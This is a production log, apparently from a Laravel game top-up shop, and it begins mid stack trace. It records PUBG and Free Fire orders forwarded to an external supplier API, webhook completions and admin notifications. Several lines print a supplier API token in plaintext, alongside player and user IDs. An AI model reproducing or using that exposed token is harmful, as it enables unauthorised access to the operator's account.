#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 15:51:55","memory_usage":57147392,"memory_peak":57147392}} 
[2026-03-24 15:51:56] production.INFO: SendAcceptReject: Notification queued {"user_id":93,"notification_type":"request_approved","reference_id":18642} 
[2026-03-24 15:51:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 93  
[2026-03-24 15:52:04] production.INFO: SendAcceptReject: Notification queued {"user_id":663,"notification_type":"request_approved","reference_id":18643} 
[2026-03-24 15:52:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04"} 
[2026-03-24 15:52:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","total_operations":1,"sites_count":1} 
[2026-03-24 15:52:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-b13-1774356639"]} 
[2026-03-24 15:52:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 15:52:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:52:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 15:52:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 15:52:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"count":1} 
[2026-03-24 15:52:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"count":1} 
[2026-03-24 15:52:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"user_id":1488,"notification_type":"order_approved","reference_id":178866} 
[2026-03-24 15:52:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:52:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:52:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"processed":1,"errors":0} 
[2026-03-24 15:52:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779,"processed":1,"errors":0} 
[2026-03-24 15:52:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NEKly4S4pWbwCKKyuygoVqwbKgYxK0Ms","execution_time":"2026-03-24 15:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b13-1774356639","operation_id":163779} 
[2026-03-24 15:52:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 15:52:30] production.INFO: Constructing job for order: 178868  
[2026-03-24 15:52:32] production.INFO: Handling job for order: 178868  
[2026-03-24 15:52:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:52:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:52:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7c968051-1f07-4153-92b3-be833ca5db8e&Player_ID=52241301693  
[2026-03-24 15:52:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7c968051-1f07-4153-92b3-be833ca5db8e&Player_ID=52241301693","has_body":false} 
[2026-03-24 15:52:32] production.INFO: Operation sent successfully {"operation_id":163780,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VrOp-1774356752","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:52:32"}},"processed_data":{"order_number":"ORD-VrOp-1774356752","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:52:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VrOp-1774356752","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:52:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-VrOp-1774356752","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:52:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:52:45] production.INFO: SendAcceptReject: Notification queued {"user_id":302,"notification_type":"order_approved","reference_id":178868} 
[2026-03-24 15:52:45] production.INFO: Order updated successfully. Order ID: 178868, Status: completed  
[2026-03-24 15:52:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VrOp-1774356752","status":"completed","codes_count":0} 
[2026-03-24 15:52:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 302  
[2026-03-24 15:53:27] production.INFO: Constructing job for order: 178869  
[2026-03-24 15:53:29] production.INFO: Handling job for order: 178869  
[2026-03-24 15:53:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:53:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:53:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=4b2ce8f3-4e93-4716-85b1-af097ff7ea5c&Player_ID=51818563610  
[2026-03-24 15:53:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=4b2ce8f3-4e93-4716-85b1-af097ff7ea5c&Player_ID=51818563610","has_body":false} 
[2026-03-24 15:53:30] production.INFO: Operation sent successfully {"operation_id":163781,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-T2VQS-1774356810","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:53:30"}},"processed_data":{"order_number":"ORD-T2VQS-1774356810","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:53:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-T2VQS-1774356810","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:53:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-T2VQS-1774356810","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:53:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:53:45] production.INFO: SendAcceptReject: Notification queued {"user_id":1662,"notification_type":"order_approved","reference_id":178869} 
[2026-03-24 15:53:45] production.INFO: Order updated successfully. Order ID: 178869, Status: completed  
[2026-03-24 15:53:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-T2VQS-1774356810","status":"completed","codes_count":0} 
[2026-03-24 15:53:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1662  
[2026-03-24 15:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GmkvMpR2zJ6xQE7BDLZtuhEP3NJgteNX","execution_time":"2026-03-24 15:54:03"} 
[2026-03-24 15:54:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"GmkvMpR2zJ6xQE7BDLZtuhEP3NJgteNX","execution_time":"2026-03-24 15:54:03"} 
[2026-03-24 15:54:42] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158372674","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpabirthohhofc0UMX0E9"}},"user_id":1285} 
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:54:45] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:54:45] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18644,"user_id":1285,"amount":1000.0,"admins_notified":7} 
[2026-03-24 15:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:55:05] production.INFO: async() رجع: true  
[2026-03-24 15:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:55:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:55:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:55:09] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158372674","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpmvq7m31636rjc0nDTRS"}},"user_id":1285} 
[2026-03-24 15:55:28] production.INFO: Constructing job for order: 178870  
[2026-03-24 15:55:31] production.INFO: Handling job for order: 178870  
[2026-03-24 15:55:31] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:55:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:55:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=31fe4f0b-72e0-4d94-a977-99412cd19b9f&Player_ID=52446391191  
[2026-03-24 15:55:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=31fe4f0b-72e0-4d94-a977-99412cd19b9f&Player_ID=52446391191","has_body":false} 
[2026-03-24 15:55:32] production.INFO: Operation sent successfully {"operation_id":163782,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9xt-1774356931","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:55:32"}},"processed_data":{"order_number":"ORD-9xt-1774356931","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 15:55:40] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9xt-1774356931","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:55:40] production.INFO: Processed webhook data (normalized) {"id":"ORD-9xt-1774356931","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:55:40] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:55:40] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":178870} 
[2026-03-24 15:55:40] production.INFO: Order updated successfully. Order ID: 178870, Status: completed  
[2026-03-24 15:55:40] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9xt-1774356931","status":"completed","codes_count":0} 
[2026-03-24 15:55:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 15:55:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 64  
[2026-03-24 15:56:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BLIp1djTeO9d0Ah0WmIU6NQbHY4F8LKn","execution_time":"2026-03-24 15:56:02"} 
[2026-03-24 15:56:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"BLIp1djTeO9d0Ah0WmIU6NQbHY4F8LKn","execution_time":"2026-03-24 15:56:02"} 
[2026-03-24 15:56:33] production.INFO: Constructing job for order: 178872  
[2026-03-24 15:56:35] production.INFO: Handling job for order: 178872  
[2026-03-24 15:56:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:56:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:56:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=d67a69b9-801e-4c31-a2bf-d1b3981ef931&Player_ID=52446391191  
[2026-03-24 15:56:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=d67a69b9-801e-4c31-a2bf-d1b3981ef931&Player_ID=52446391191","has_body":false} 
[2026-03-24 15:56:36] production.INFO: Operation sent successfully {"operation_id":163783,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tgABA-1774356995","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:56:36"}},"processed_data":{"order_number":"ORD-tgABA-1774356995","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:56:49] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-tgABA-1774356995","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:56:49] production.INFO: Processed webhook data (normalized) {"id":"ORD-tgABA-1774356995","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:56:49] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:56:49] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":178872} 
[2026-03-24 15:56:49] production.INFO: Order updated successfully. Order ID: 178872, Status: completed  
[2026-03-24 15:56:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-tgABA-1774356995","status":"completed","codes_count":0} 
[2026-03-24 15:56:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 15:58:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0qLxhjOCos8Rp2zMBW2F1fzj1pNs1WW5","execution_time":"2026-03-24 15:58:03"} 
[2026-03-24 15:58:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"0qLxhjOCos8Rp2zMBW2F1fzj1pNs1WW5","execution_time":"2026-03-24 15:58:03"} 
[2026-03-24 16:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"gcNBPM7HeOIuhUksuxPDE9iupeYwgKPR","execution_time":"2026-03-24 16:00:03"} 
[2026-03-24 16:00:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"gcNBPM7HeOIuhUksuxPDE9iupeYwgKPR","execution_time":"2026-03-24 16:00:03"} 
[2026-03-24 16:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 16:00:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 16:00:05] production.INFO: async() رجع: true  
[2026-03-24 16:00:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:00:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:00:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:00:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:00:20] production.INFO: Constructing job for order: 178873  
[2026-03-24 16:00:21] production.INFO: Handling job for order: 178873  
[2026-03-24 16:00:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:00:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:00:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=919894e3-7ec4-4b3f-afd0-ee2be62ab7a6&Player_ID=7949400454  
[2026-03-24 16:00:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=919894e3-7ec4-4b3f-afd0-ee2be62ab7a6&Player_ID=7949400454","has_body":false} 
[2026-03-24 16:00:22] production.INFO: Operation sent successfully {"operation_id":163784,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-C6gE7OdT-1774357222","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:00:22"}},"processed_data":{"order_number":"ORD-C6gE7OdT-1774357222","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:00:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-C6gE7OdT-1774357222","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:00:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-C6gE7OdT-1774357222","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:00:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:00:46] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178873} 
[2026-03-24 16:00:46] production.INFO: Order updated successfully. Order ID: 178873, Status: completed  
[2026-03-24 16:00:46] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-C6gE7OdT-1774357222","status":"completed","codes_count":0} 
[2026-03-24 16:00:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 16:00:57] production.INFO: Constructing job for order: 178874  
[2026-03-24 16:00:58] production.INFO: Handling job for order: 178874  
[2026-03-24 16:00:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:00:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:00:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=b61e4777-b210-4a31-a98b-e33c4578de54&Player_ID=3792362118  
[2026-03-24 16:00:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=b61e4777-b210-4a31-a98b-e33c4578de54&Player_ID=3792362118","has_body":false} 
[2026-03-24 16:00:59] production.INFO: Operation sent successfully {"operation_id":163785,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hFpvw9t-1774357259","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:00:59"}},"processed_data":{"order_number":"ORD-hFpvw9t-1774357259","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:01:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-hFpvw9t-1774357259","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:01:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-hFpvw9t-1774357259","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:01:22] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:01:22] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178874} 
[2026-03-24 16:01:22] production.INFO: Order updated successfully. Order ID: 178874, Status: completed  
[2026-03-24 16:01:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-hFpvw9t-1774357259","status":"completed","codes_count":0} 
[2026-03-24 16:01:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 16:01:31] production.INFO: Constructing job for order: 178875  
[2026-03-24 16:01:32] production.INFO: Handling job for order: 178875  
[2026-03-24 16:01:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:01:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:01:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=2000&uuid=4f8811df-4d39-46d6-b6cd-68bd84b0b000&Player_ID=106447343  
[2026-03-24 16:01:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=2000&uuid=4f8811df-4d39-46d6-b6cd-68bd84b0b000&Player_ID=106447343","has_body":false} 
[2026-03-24 16:01:33] production.INFO: Operation sent successfully {"operation_id":163786,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HV39p-1774357293","amount":3.36731479999999994134896041941829025745391845703125,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 16:01:33"}},"processed_data":{"order_number":"ORD-HV39p-1774357293","amount":3.36731479999999994134896041941829025745391845703125,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 16:02:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03"} 
[2026-03-24 16:02:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","total_operations":1,"sites_count":1} 
[2026-03-24 16:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-HV39p-1774357293"]} 
[2026-03-24 16:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HV39p-1774357293","operation_id":163786} 
[2026-03-24 16:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HV39p-1774357293","operation_id":163786,"processed":0,"skipped":1,"updates_prepared":0} 
